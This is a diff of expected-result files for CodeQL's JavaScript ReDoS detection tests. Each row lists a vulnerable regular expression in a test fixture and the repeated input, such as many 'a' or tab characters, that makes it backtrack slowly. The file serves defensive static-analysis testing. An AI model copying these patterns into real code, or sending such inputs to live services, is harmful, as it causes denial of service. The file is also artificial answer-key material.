+| tst.js:59:46:59:48 | \\s* | Strings starting with '*' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [\\w#:.~>+()\\s-]+ |
+| tst.js:63:19:63:26 | (\\\\?.)*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding ("\|')(\\\\?.)*?\\1 |
+| tst.js:65:14:65:21 | (b\|a?b)* | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (b\|a?b)*c |
+| tst.js:67:14:67:21 | (a\|aa?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa?)*b |
+| tst.js:70:14:70:20 | (.\|\\n)* | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (.\|\\n)*! |
+| tst.js:72:14:72:20 | (.\|\\n)* | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (.\|\\n)*! |
+| tst.js:77:25:77:32 | (a\|aa?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa?)*b |
+| tst.js:82:15:82:25 | ([^]\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding (([^]\|[^a])*)" |
+| tst.js:87:15:87:23 | (.\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((.\|[^a])*)" |
+| tst.js:90:16:90:24 | (a\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((a\|[^a])*)" |
+| tst.js:92:15:92:23 | (b\|[^a])* | Strings with many repetitions of '`' can start matching anywhere after the start of the preceeding ((b\|[^a])*)" |
+| tst.js:94:15:94:23 | (G\|[^a])* | Strings with many repetitions of 'G' can start matching anywhere after the start of the preceeding ((G\|[^a])*)" |
+| tst.js:96:15:96:27 | ([0-9]\|[^a])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding (([0-9]\|[^a])*)" |
+| tst.js:103:16:103:62 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"\\\\])* | Strings starting with '"' and with many repetitions of '\\\\"!' can start matching anywhere after the start of the preceeding "((?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"\\\\])*)" |
+| tst.js:105:15:105:28 | ([a-z]\|[d-h])* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (([a-z]\|[d-h])*)" |
+| tst.js:107:15:107:30 | ([^a-z]\|[^0-9])* | Strings with many repetitions of '/' can start matching anywhere after the start of the preceeding (([^a-z]\|[^0-9])*)" |
+| tst.js:109:15:109:25 | (\\d\|[0-9])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\d\|[0-9])*)" |
+| tst.js:111:15:111:22 | (\\s\|\\s)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding ((\\s\|\\s)*)" |
+| tst.js:113:15:113:21 | (\\w\|G)* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\w\|G)*)" |
+| tst.js:116:16:116:23 | (\\s\|\\d)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding ((\\s\|\\d)*)" |
+| tst.js:118:15:118:22 | (\\d\|\\w)* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\d\|\\w)*)" |
+| tst.js:120:15:120:21 | (\\d\|5)* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((\\d\|5)*)" |
+| tst.js:122:15:122:24 | (\\s\|[\\f])* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding ((\\s\|[\\f])*)" |
+| tst.js:124:15:124:28 | (\\s\|[\\v]\|\\\\v)* | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding ((\\s\|[\\v]\|\\\\v)*)" |
+| tst.js:126:15:126:24 | (\\f\|[\\f])* | Strings with many repetitions of '\\u000c' can start matching anywhere after the start of the preceeding ((\\f\|[\\f])*)" |
+| tst.js:128:15:128:22 | (\\W\|\\D)* | Strings with many repetitions of '/' can start matching anywhere after the start of the preceeding ((\\W\|\\D)*)" |
+| tst.js:130:15:130:22 | (\\S\|\\w)* | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((\\S\|\\w)*)" |
+| tst.js:132:15:132:24 | (\\S\|[\\w])* | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ((\\S\|[\\w])*)" |
+| tst.js:134:15:134:27 | (1s\|[\\da-z])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((1s\|[\\da-z])*)" |
+| tst.js:136:15:136:23 | (0\|[\\d])* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ((0\|[\\d])*)" |
+| tst.js:138:16:138:20 | [\\d]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding ([\\d]+)* |
+| tst.js:149:16:149:21 | [^>a]+ | Strings with many repetitions of '=' can start matching anywhere after the start of the preceeding ([^>a]+)* |
+| tst.js:151:17:151:19 | \\s* | Strings starting with '\\n' and with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (\\n\\s*)+$ |
+| tst.js:153:18:153:20 | \\s+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding .* |
+| tst.js:153:31:153:35 | [^)]* | Strings starting with '(?#' and with many repetitions of '(?#' can start matching anywhere after the start of the preceeding .* |
+| tst.js:155:53:155:61 | [a-zA-Z]+ | Strings starting with '{[A(A)' and with many repetitions of 'AA' can start matching anywhere after the start of the preceeding [ a-zA-Z{}]+ |
+| tst.js:155:68:155:79 | [ a-zA-Z{}]+ | Strings starting with '{[A(A)A:' and with many repetitions of ' A:  ' can start matching anywhere after the start of the preceeding \\s* |
+| tst.js:155:87:155:89 | \\s* | Strings starting with '{[A(A)' and with many repetitions of '  ' can start matching anywhere after the start of the preceeding [ a-zA-Z{}]+ |
+| tst.js:157:15:157:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+\|b+\|c+)* |
+| tst.js:157:18:157:19 | b+ | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (a+\|b+\|c+)* |
+| tst.js:159:17:159:18 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+a?)* |
+| tst.js:161:15:161:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ |
+| tst.js:166:15:166:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ |
+| tst.js:171:15:171:17 | \\n+ | Strings with many repetitions of '\\n' can start matching anywhere after the start of the preceeding (\\n+)+ |
+| tst.js:173:15:173:19 | [^X]+ | Strings with many repetitions of 'W' can start matching anywhere after the start of the preceeding ([^X]+)* |
+| tst.js:175:15:175:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* |
+| tst.js:180:15:180:22 | ([^X]b)+ | Strings with many repetitions of 'Wb' can start matching anywhere after the start of the preceeding (([^X]b)+)* |
+| tst.js:191:15:191:19 | (ab)+ | Strings with many repetitions of 'ab' can start matching anywhere after the start of the preceeding ((ab)+)* |
+| tst.js:199:18:199:19 | A* | Strings with many repetitions of 'A' can start matching anywhere after the start of the preceeding A* |
+| tst.js:204:15:204:17 | \\w* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* |
+| tst.js:204:27:204:29 | \\w* | Strings starting with 'foobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* |
+| tst.js:204:39:204:41 | \\w* | Strings starting with 'foobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* |
+| tst.js:204:51:204:53 | \\w* | Strings starting with 'foobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbaz' can start matching anywhere after the start of the preceeding \\d* |
+| tst.js:204:63:204:65 | \\s* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding \\d* |
+| tst.js:204:75:204:77 | \\d* | Strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and with many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' can start matching anywhere after the start of the preceeding \\s* |
+| tst.js:206:14:206:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | Strings with many repetitions of '\\tthisisagoddamnlongstringforstresstestingthequery' can start matching anywhere after the start of the preceeding (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)*- |
+| tst.js:208:14:208:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | Strings with many repetitions of 'this0query' can start matching anywhere after the start of the preceeding \\w+ |
+| tst.js:208:68:208:70 | \\w+ | Strings starting with 'this' and with many repetitions of 'this' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* |
+| tst.js:211:15:211:117 | (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)* | Strings with many repetitions of 'imanotherbutunrelatedstringcomparedtotheotherstring' can start matching anywhere after the start of the preceeding (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)*- |
+| tst.js:219:21:219:22 | b+ | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (b+)+ |
+| tst.js:221:25:221:27 | \\s+ | Strings starting with '<0' and with many repetitions of '\\t0="\\t0="\\t' can start matching anywhere after the start of the preceeding [^"]* |
+| tst.js:221:28:221:30 | \\w+ | Strings starting with '<0\\t' and with many repetitions of '0="\\t0="\\t' can start matching anywhere after the start of the preceeding [^"]* |
+| tst.js:221:34:221:36 | \\s* | Strings starting with '<0\\t0' and with many repetitions of '="\\t0="\\t0\\t' can start matching anywhere after the start of the preceeding [^"]* |
+| tst.js:221:48:221:52 | [^"]* | Strings starting with '<0\\t0="' and with many repetitions of '"\\t0="' can start matching anywhere after the start of the preceeding \\s* |
+| tst.js:221:60:221:64 | [^']* | Strings starting with '<0\\t0='' and with many repetitions of ''\\t0='' can start matching anywhere after the start of the preceeding \\s* |
+| tst.js:221:68:221:74 | [^>\\s]+ | Strings starting with '<0\\t0=' and with many repetitions of '"\\t0="' can start matching anywhere after the start of the preceeding [^"]* |
+| tst.js:227:16:227:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
+| tst.js:230:16:230:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
+| tst.js:235:16:235:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
+| tst.js:237:22:237:23 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
+| tst.js:240:15:240:24 | ((;\|^)a+)+ | Strings starting with 'a' and with many repetitions of ';a' can start matching anywhere after the start of the preceeding ((;\|^)a+)+$ |
+| tst.js:240:21:240:22 | a+ | Strings with many repetitions of 'a;' can start matching anywhere after the start of the preceeding ((;\|^)a+)+$ |
+| tst.js:242:90:242:91 | e+ | Strings starting with '00000000000000' and with many repetitions of 'e' can start matching anywhere after the start of the preceeding (e+)+ |
+| tst.js:244:18:244:19 | c+ | Strings starting with 'ab' and with many repetitions of 'c' can start matching anywhere after the start of the preceeding (c+)+ |
+| tst.js:246:18:246:20 | \\s+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding (\\s+)* |
+| tst.js:249:16:249:24 | ([^/]\|X)+ | Strings with many repetitions of '.' can start matching anywhere after the start of the preceeding (([^/]\|X)+)(\\/[^]*)*$ |
+| tst.js:252:17:252:28 | (x([^Y]+)?)* | Strings with many repetitions of 'xX' can start matching anywhere after the start of the preceeding [^Y]+ |
+| tst.js:252:20:252:24 | [^Y]+ | Strings starting with 'x' and with many repetitions of 'xX' can start matching anywhere after the start of the preceeding (x([^Y]+)?)* |
+| tst.js:254:15:254:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)+b |
+| tst.js:256:18:256:23 | [\\w-]* | Strings starting with 'foo' and with many repetitions of 'foo-' can start matching anywhere after the start of the preceeding foo([\\w-]*)+bar |
+| tst.js:258:15:258:19 | (ab)* | Strings with many repetitions of 'ab' can start matching anywhere after the start of the preceeding ((ab)*)+c |
+| tst.js:260:14:260:20 | (a?a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a?a?)*b |
+| tst.js:263:15:263:19 | (a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a?)*b |
+| tst.js:265:14:265:20 | (c?a?)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (c?a?)*b |
+| tst.js:267:14:267:22 | (?:a\|a?)+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (?:a\|a?)+b |
+| tst.js:269:14:269:20 | (a?b?)* | Strings with many repetitions of 'b' can start matching anywhere after the start of the preceeding (a?b?)*$ |
+| tst.js:273:16:273:19 | (a)+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding ((a)+\\w)+ |
+| tst.js:275:16:275:17 | b+ | Strings with many repetitions of 'bb' can start matching anywhere after the start of the preceeding (b+.)+ |
+| tst.js:278:15:278:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding a*b |
+| tst.js:281:15:281:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)*b |
+| tst.js:282:15:282:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* |
+| tst.js:283:15:283:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a*)+b |
+| tst.js:284:15:284:16 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)+ |
+| tst.js:300:16:300:21 | [^"]*? | Strings starting with '"' and with many repetitions of '""' can start matching anywhere after the start of the preceeding ("[^"]*?"\|[^"\\s]+)+(?=\\s*\|\\s*$)X |
+| tst.js:300:24:300:30 | [^"\\s]+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ("[^"]*?"\|[^"\\s]+)+ |
+| tst.js:301:16:301:21 | [^"]*? | Strings starting with '"' and with many repetitions of '""' can start matching anywhere after the start of the preceeding ("[^"]*?"\|[^"\\s]+)+(?=X) |
+| tst.js:301:24:301:30 | [^"\\s]+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ("[^"]*?"\|[^"\\s]+)+ |
+| tst.js:302:15:302:16 | x* | Strings with many repetitions of 'x' can start matching anywhere after the start of the preceeding (x*)+(?=$) |
+| tst.js:303:15:303:16 | x* | Strings with many repetitions of 'x' can start matching anywhere after the start of the preceeding (x*)+(?=$\|y) |
+| tst.js:306:16:306:22 | [\\s\\S]* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([\\s\\S]*)+(?=$) |
+| tst.js:307:16:307:22 | [\\s\\S]* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([\\s\\S]*)+(?=$\|y) |
+| tst.js:309:15:309:24 | (foo\|FOO)* | Strings with many repetitions of 'FOO' can start matching anywhere after the start of the preceeding (foo\|FOO)*bar |
+| tst.js:310:14:310:23 | (foo\|FOO)* | Strings with many repetitions of 'foo' can start matching anywhere after the start of the preceeding (foo\|FOO)*bar |
+| tst.js:312:15:312:26 | ([AB]\|[ab])* | Strings with many repetitions of 'A' can start matching anywhere after the start of the preceeding ([AB]\|[ab])*C |
+| tst.js:313:14:313:25 | ([DE]\|[de])* | Strings with many repetitions of 'd' can start matching anywhere after the start of the preceeding ([DE]\|[de])*F |
+| tst.js:316:14:316:20 | (a\|aa)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa)*$ |
+| tst.js:319:6:322:5 | (a\|aa)* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a\|aa)*b$ |
+| tst.js:326:6:326:12 | (c\|cc)* | Strings with many repetitions of 'c' can start matching anywhere after the start of the preceeding ((c\|cc)*\|(d\|dd)*\|(e\|ee)*)f$ |
+| tst.js:327:6:327:12 | (d\|dd)* | Strings with many repetitions of 'd' can start matching anywhere after the start of the preceeding ((c\|cc)*\|(d\|dd)*\|(e\|ee)*)f$ |
+| tst.js:328:6:329:1 | (e\|ee)* | Strings with many repetitions of 'e' can start matching anywhere after the start of the preceeding ((c\|cc)*\|(d\|dd)*\|(e\|ee)*)f$ |
+| tst.js:332:6:333:7 | (g\|gg)* | Strings with many repetitions of 'g' can start matching anywhere after the start of the preceeding (g\|gg)*h$ |
+| tst.js:335:128:335:129 |  * | Strings starting with '0/*' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* |
+| tst.js:337:23:337:29 | [\\w.-]* | Strings starting with '//' and with many repetitions of '//' can start matching anywhere after the start of the preceeding (\\/(?:\\/[\\w.-]*)*){0,1}:([\\w.-]+) |
+| tst.js:339:15:339:19 | a{1,} | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a{1,})* |
+| tst.js:345:20:345:25 | (aa?)* | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding (aa?)*b |
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialReDoS.expected
index 83d8243c269f..7484e72c3f0a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialReDoS.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/PolynomialReDoS.expected
@@ -1,3 +1,105 @@
+#select
+| lib/closure.js:4:5:4:17 | /u*o/.test(x) | lib/closure.js:3:21:3:21 | x | lib/closure.js:4:16:4:16 | x | This $@ that depends on $@ may run slow on strings with many repetitions of 'u'. | lib/closure.js:4:6:4:7 | u* | regular expression | lib/closure.js:3:21:3:21 | x | library input |
+| lib/indirect.js:2:5:2:17 | /k*h/.test(x) | lib/indirect.js:1:32:1:32 | x | lib/indirect.js:2:16:2:16 | x | This $@ that depends on $@ may run slow on strings with many repetitions of 'k'. | lib/indirect.js:2:6:2:7 | k* | regular expression | lib/indirect.js:1:32:1:32 | x | library input |
+| lib/lib.js:4:2:4:18 | regexp.test(name) | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input |
+| lib/lib.js:8:2:8:17 | /f*g/.test(name) | lib/lib.js:7:19:7:22 | name | lib/lib.js:8:13:8:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:8:3:8:4 | f* | regular expression | lib/lib.js:7:19:7:22 | name | library input |
+| lib/lib.js:36:2:36:17 | /f*g/.test(name) | lib/lib.js:32:32:32:40 | arguments | lib/lib.js:36:13:36:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:36:3:36:4 | f* | regular expression | lib/lib.js:32:32:32:40 | arguments | library input |
+| lib/lib.js:42:17:42:33 | name.match(/f*g/) | lib/lib.js:41:32:41:35 | name | lib/lib.js:42:17:42:20 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:42:29:42:30 | f* | regular expression | lib/lib.js:41:32:41:35 | name | library input |
+| lib/lib.js:45:17:45:33 | name.match(/f*g/) | lib/lib.js:41:32:41:35 | name | lib/lib.js:45:17:45:20 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:45:29:45:30 | f* | regular expression | lib/lib.js:41:32:41:35 | name | library input |
+| lib/lib.js:53:5:53:20 | /f*g/.test(name) | lib/lib.js:52:22:52:25 | name | lib/lib.js:53:16:53:19 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:53:6:53:7 | f* | regular expression | lib/lib.js:52:22:52:25 | name | library input |
+| lib/moduleLib/moduleLib.js:2:2:2:17 | /a*b/.test(name) | lib/moduleLib/moduleLib.js:1:28:1:31 | name | lib/moduleLib/moduleLib.js:2:13:2:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/moduleLib/moduleLib.js:2:3:2:4 | a* | regular expression | lib/moduleLib/moduleLib.js:1:28:1:31 | name | library input |
+| lib/otherLib/js/src/index.js:2:2:2:17 | /a*b/.test(name) | lib/otherLib/js/src/index.js:1:28:1:31 | name | lib/otherLib/js/src/index.js:2:13:2:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/otherLib/js/src/index.js:2:3:2:4 | a* | regular expression | lib/otherLib/js/src/index.js:1:28:1:31 | name | library input |
+| lib/snapdragon.js:7:15:7:32 | this.match(/aa*$/) | lib/snapdragon.js:3:34:3:38 | input | lib/snapdragon.js:7:15:7:18 | this | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | lib/snapdragon.js:7:28:7:29 | a* | regular expression | lib/snapdragon.js:3:34:3:38 | input | library input |
+| lib/snapdragon.js:15:13:15:30 | this.match(/aa*$/) | lib/snapdragon.js:12:34:12:38 | input | lib/snapdragon.js:15:13:15:16 | this | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | lib/snapdragon.js:15:26:15:27 | a* | regular expression | lib/snapdragon.js:12:34:12:38 | input | library input |
+| lib/snapdragon.js:23:5:23:26 | node.va ... /aa*$/) | lib/snapdragon.js:20:34:20:38 | input | lib/snapdragon.js:23:5:23:12 | node.val | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | lib/snapdragon.js:23:22:23:23 | a* | regular expression | lib/snapdragon.js:20:34:20:38 | input | library input |
+| lib/subLib4/factory.js:8:2:8:17 | /f*g/.test(name) | lib/subLib4/factory.js:7:27:7:30 | name | lib/subLib4/factory.js:8:13:8:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/subLib4/factory.js:8:3:8:4 | f* | regular expression | lib/subLib4/factory.js:7:27:7:30 | name | library input |
+| lib/subLib5/feature.js:2:2:2:17 | /a*b/.test(name) | lib/subLib5/feature.js:1:28:1:31 | name | lib/subLib5/feature.js:2:13:2:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/subLib5/feature.js:2:3:2:4 | a* | regular expression | lib/subLib5/feature.js:1:28:1:31 | name | library input |
+| lib/subLib5/main.js:2:2:2:17 | /a*b/.test(name) | lib/subLib5/main.js:1:28:1:31 | name | lib/subLib5/main.js:2:13:2:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/subLib5/main.js:2:3:2:4 | a* | regular expression | lib/subLib5/main.js:1:28:1:31 | name | library input |
+| lib/subLib5/subclass.js:5:5:5:20 | /a*b/.test(name) | lib/subLib5/subclass.js:4:10:4:13 | name | lib/subLib5/subclass.js:5:16:5:19 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/subLib5/subclass.js:5:6:5:7 | a* | regular expression | lib/subLib5/subclass.js:4:10:4:13 | name | library input |
+| lib/subLib6/index.js:2:3:2:18 | /f*g/.test(name) | lib/subLib6/index.js:1:32:1:35 | name | lib/subLib6/index.js:2:14:2:17 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/subLib6/index.js:2:4:2:5 | f* | regular expression | lib/subLib6/index.js:1:32:1:35 | name | library input |
+| lib/sublib/factory.js:13:13:13:28 | /f*g/.test(name) | lib/sublib/factory.js:12:26:12:29 | name | lib/sublib/factory.js:13:24:13:27 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/sublib/factory.js:13:14:13:15 | f* | regular expression | lib/sublib/factory.js:12:26:12:29 | name | library input |
+| polynomial-redos.js:7:2:7:34 | tainted ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:8:2:8:23 | tainted ...  *, */) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:8:2:8:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:8:17:8:18 |  * | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:9:2:9:34 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:9:2:9:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '\\t'. | polynomial-redos.js:9:19:9:21 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:11:2:11:31 | tainted ... ]/, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:11:2:11:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:11:19:11:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:12:2:12:28 | tainted ... ./, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:12:2:12:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:12:19:12:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`' and with many repetitions of '\\t'. | polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`_' and with many repetitions of '\\t'. | polynomial-redos.js:15:41:15:43 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:16:2:16:46 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:16:2:16:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '`' and with many repetitions of '``'. | polynomial-redos.js:16:25:16:32 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This $@ that depends on $@ may run slow on strings starting with ',' and with many repetitions of ',,'. | polynomial-redos.js:17:11:17:12 | .+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ','. | polynomial-redos.js:17:5:17:6 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:18:2:18:130 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:18:2:18:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '/'. | polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:19:2:19:148 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:19:2:19:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '0'. | polynomial-redos.js:19:17:19:22 | [0-9]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:20:2:20:63 | tainted ... d+)?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:20:2:20:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '0'. | polynomial-redos.js:20:56:20:58 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t' and with many repetitions of '\\t\\t'. | polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '-\\t\\t' and with many repetitions of '='. | polynomial-redos.js:25:63:25:64 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
+| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '?' and with many repetitions of '?'. | polynomial-redos.js:30:23:30:24 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value |
